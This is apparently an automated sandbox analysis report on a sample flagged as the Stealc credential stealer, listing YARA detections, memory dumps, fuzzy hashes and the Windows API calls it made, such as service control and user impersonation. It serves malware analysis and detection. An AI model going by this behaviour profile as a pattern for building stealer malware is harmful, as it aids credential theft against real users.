Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1814662803.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1812798968.0000000000B21000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1772091495.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 007FE043 Relevance: 4.8, Strings: 3, Instructions: 1066COMMON

Download Yara Rule

Strings

Ak<, xrefs: 007FE598
At<, xrefs: 007FE5B0
An<, xrefs: 007FE580

Memory Dump Source

Source File: 00000000.00000003.1566006999.00000000007F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F8000, based on PE: false

Associated: 00000000.00000003.1591128945.00000000007F3000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f8000_NE4jxHLxXJ.jbxd

Similarity

API ID:
String ID: Ak<$An<$At<
API String ID: 0-1847102885
Opcode ID: e39def05950f642efe2a2c491d51c8ab7adc1842efc9aa6be237af2f4122b9c0
Instruction ID: aae5d6c6d0d72709dc53b28b1feb56ef99f1e159daea12ec35f22b356b9d49a1
Opcode Fuzzy Hash: e39def05950f642efe2a2c491d51c8ab7adc1842efc9aa6be237af2f4122b9c0
Instruction Fuzzy Hash: 2D22C1A684E7C54FE35357349C267A43FA1AF23264F5F45EBC4C08B1B3E269494AC722

Function 007FE043 Relevance: 4.8, Strings: 3, Instructions: 1066COMMON

Download Yara Rule

Strings

At<, xrefs: 007FE5B0
An<, xrefs: 007FE580
Ak<, xrefs: 007FE598

Memory Dump Source

Source File: 00000000.00000003.1566006999.00000000007F9000.00000004.00000020.00020000.00000000.sdmp, Offset: 007F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7f8000_NE4jxHLxXJ.jbxd

Similarity

API ID:
String ID: Ak<$An<$At<
API String ID: 0-1847102885
Opcode ID: 27f1267fa6d005d9eb215ed709fd4a1450247a56ab61fe9f8cb28a6eddada8c4
Instruction ID: aae5d6c6d0d72709dc53b28b1feb56ef99f1e159daea12ec35f22b356b9d49a1
Opcode Fuzzy Hash: 27f1267fa6d005d9eb215ed709fd4a1450247a56ab61fe9f8cb28a6eddada8c4
Instruction Fuzzy Hash: 2D22C1A684E7C54FE35357349C267A43FA1AF23264F5F45EBC4C08B1B3E269494AC722

Analysis Process: 7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exePID: 7996, Parent PID: 7580COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Executed Functions

Function 002B3D4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1870018623.00000000002A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00110000, based on PE: true

Associated: 00000003.00000002.1869643040.0000000000110000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869668393.0000000000112000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869692402.0000000000116000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869718245.000000000011A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869742064.0000000000124000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869763871.0000000000125000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869785714.0000000000126000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869917490.0000000000280000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869942153.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869971217.000000000029B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869995479.000000000029C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870018623.000000000029F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870071744.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870097866.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870123073.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870148733.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870182099.00000000002D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870205409.00000000002D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870231408.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870256275.00000000002E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870280755.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870329010.00000000002FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870359466.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870380224.00000000002FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870407261.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870431628.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870455542.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870479791.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870505785.0000000000317000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870531699.000000000031E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870555866.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870580055.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870609596.000000000033E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870633964.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870659720.0000000000351000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870685787.0000000000353000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870719576.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870743619.0000000000373000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870782022.00000000003A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870805137.00000000003A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870833601.00000000003A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870856848.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870960550.00000000003C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870988481.00000000003CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction ID: 07906d6a202f952f95bfe540eeaf81af7c99cc2b34ad6d20ea27f1872759a97d
Opcode Fuzzy Hash: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction Fuzzy Hash: 6AE092B29042478FCB41CE39C8083CAB7A5DB14310F140A69F14CD7991F7749D60CB94

Function 002AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 002AE183
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 002AE1AA
GetNativeSystemInfo.KERNELBASE(?), ref: 002AE201

Memory Dump Source

Source File: 00000003.00000002.1870018623.00000000002A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00110000, based on PE: true

Associated: 00000003.00000002.1869643040.0000000000110000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869668393.0000000000112000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869692402.0000000000116000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869718245.000000000011A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869742064.0000000000124000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869763871.0000000000125000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869785714.0000000000126000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869917490.0000000000280000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869942153.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869971217.000000000029B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869995479.000000000029C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870018623.000000000029F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870071744.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870097866.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870123073.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870148733.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870182099.00000000002D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870205409.00000000002D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870231408.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870256275.00000000002E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870280755.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870329010.00000000002FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870359466.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870380224.00000000002FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870407261.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870431628.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870455542.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870479791.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870505785.0000000000317000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870531699.000000000031E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870555866.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870580055.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870609596.000000000033E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870633964.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870659720.0000000000351000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870685787.0000000000353000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870719576.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870743619.0000000000373000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870782022.00000000003A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870805137.00000000003A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870833601.00000000003A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870856848.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870960550.00000000003C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870988481.00000000003CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction ID: f879d27fd00d965bfb05782f034bc189ae95c58c184fe2011a229a34f27a829b
Opcode Fuzzy Hash: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction Fuzzy Hash: 25315A7141420E9FEF11DFA0C848BEE3BA9FF12310F014529ED4186941EBB65DB5CB4A

Function 0029DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0029DF99

Memory Dump Source

Source File: 00000003.00000002.1869995479.000000000029C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00110000, based on PE: true

Associated: 00000003.00000002.1869643040.0000000000110000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869668393.0000000000112000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869692402.0000000000116000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869718245.000000000011A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869742064.0000000000124000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869763871.0000000000125000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869785714.0000000000126000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869917490.0000000000280000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869942153.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869971217.000000000029B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870018623.000000000029F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870018623.00000000002A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870071744.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870097866.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870123073.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870148733.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870182099.00000000002D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870205409.00000000002D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870231408.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870256275.00000000002E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870280755.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870329010.00000000002FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870359466.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870380224.00000000002FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870407261.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870431628.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870455542.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870479791.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870505785.0000000000317000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870531699.000000000031E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870555866.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870580055.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870609596.000000000033E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870633964.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870659720.0000000000351000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870685787.0000000000353000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870719576.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870743619.0000000000373000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870782022.00000000003A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870805137.00000000003A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870833601.00000000003A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870856848.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870960550.00000000003C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870988481.00000000003CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction ID: fa7fa67c249fd7c7b44e75d406e58a02d4467c104779f661b9d7aa9229991c49
Opcode Fuzzy Hash: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction Fuzzy Hash: 4F3107F290C700DFE745AF29D88167AFBF5EF98320F16882DD6C583614E67488948B57

Function 0029DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0029DE68

Memory Dump Source

Source File: 00000003.00000002.1869995479.000000000029C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00110000, based on PE: true

Associated: 00000003.00000002.1869643040.0000000000110000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869668393.0000000000112000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869692402.0000000000116000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869718245.000000000011A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869742064.0000000000124000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869763871.0000000000125000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869785714.0000000000126000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869917490.0000000000280000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869942153.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869971217.000000000029B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870018623.000000000029F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870018623.00000000002A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870071744.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870097866.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870123073.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870148733.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870182099.00000000002D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870205409.00000000002D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870231408.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870256275.00000000002E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870280755.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870329010.00000000002FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870359466.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870380224.00000000002FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870407261.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870431628.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870455542.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870479791.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870505785.0000000000317000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870531699.000000000031E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870555866.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870580055.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870609596.000000000033E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870633964.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870659720.0000000000351000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870685787.0000000000353000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870719576.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870743619.0000000000373000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870782022.00000000003A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870805137.00000000003A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870833601.00000000003A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870856848.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870960550.00000000003C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870988481.00000000003CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction ID: 98b7dd6fbc2a057e4b1941d6a962023d1c99cd9c8b10562eaecf6dc547ac589a
Opcode Fuzzy Hash: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction Fuzzy Hash: 6B3126B251C200AFD305BF19D885A6AFBF9EF94721F06882DE6C483610D6755454CBA7

Function 04A40D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04A40DCD

Memory Dump Source

Source File: 00000003.00000002.1873628705.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a40000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 6d6e0441277495f9f48ea7c3360c2b4e6aa7b985d767b0efd77f34dda773f281
Instruction ID: 5e5ef97dab6ddd00d3357b1d3ccf7667c581312e966fd62116c369a5d7097470
Opcode Fuzzy Hash: 6d6e0441277495f9f48ea7c3360c2b4e6aa7b985d767b0efd77f34dda773f281
Instruction Fuzzy Hash: 422133B6C00208DFCB50CF9AD884BDEFBF4EB88310F14815AE908AB204D774A544CBA5

Function 04A40D43 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04A40DCD

Memory Dump Source

Source File: 00000003.00000002.1873628705.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a40000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a68015f2ac345d4ad24fb38fc9fbc0f9c1b84c256cecefbdb8c15be6790670cf
Instruction ID: 028f2e72266f10dfff16c5865e73c1332d4481c28d55fb2fc72c480e1f94a10b
Opcode Fuzzy Hash: a68015f2ac345d4ad24fb38fc9fbc0f9c1b84c256cecefbdb8c15be6790670cf
Instruction Fuzzy Hash: 462130B6D00208CFDB54CF99E480BDEFBF1EB88320F14816AD908AB204C774A945CFA4

Function 04A41510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04A41580

Memory Dump Source

Source File: 00000003.00000002.1873628705.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a40000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 2bfb23360737324dbb6413aae08e4bc56ddae35044120c40f07c2f868c016ab9
Instruction ID: bc774d31655c7259a8569023b2374bfb78d7b9bfdbf11edbb7edf807d35b6f99
Opcode Fuzzy Hash: 2bfb23360737324dbb6413aae08e4bc56ddae35044120c40f07c2f868c016ab9
Instruction Fuzzy Hash: F911E4B1900649DFDB10CF9AD484BDEFBF4EB88320F148029E559A7250D378A644CFA6

Function 04A41509 Relevance: 1.6, APIs: 1, Instructions: 50
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04A41580

Memory Dump Source

Source File: 00000003.00000002.1873628705.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a40000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: d0d525f8bccaa8e5757b619ed5af7549bb984d016ee5426ee6ecc15eab888ec2
Instruction ID: 506243ee10d24f402e82564e7a32c4859ba0ead1593aecbd8604f5eb4b2032b9
Opcode Fuzzy Hash: d0d525f8bccaa8e5757b619ed5af7549bb984d016ee5426ee6ecc15eab888ec2
Instruction Fuzzy Hash: BC1103B6D00609CFDB10CF9AD544BDEBBF4AB48320F14842AD558A7250D778A644CFA6

Function 04A41301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04A41367

Memory Dump Source

Source File: 00000003.00000002.1873628705.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

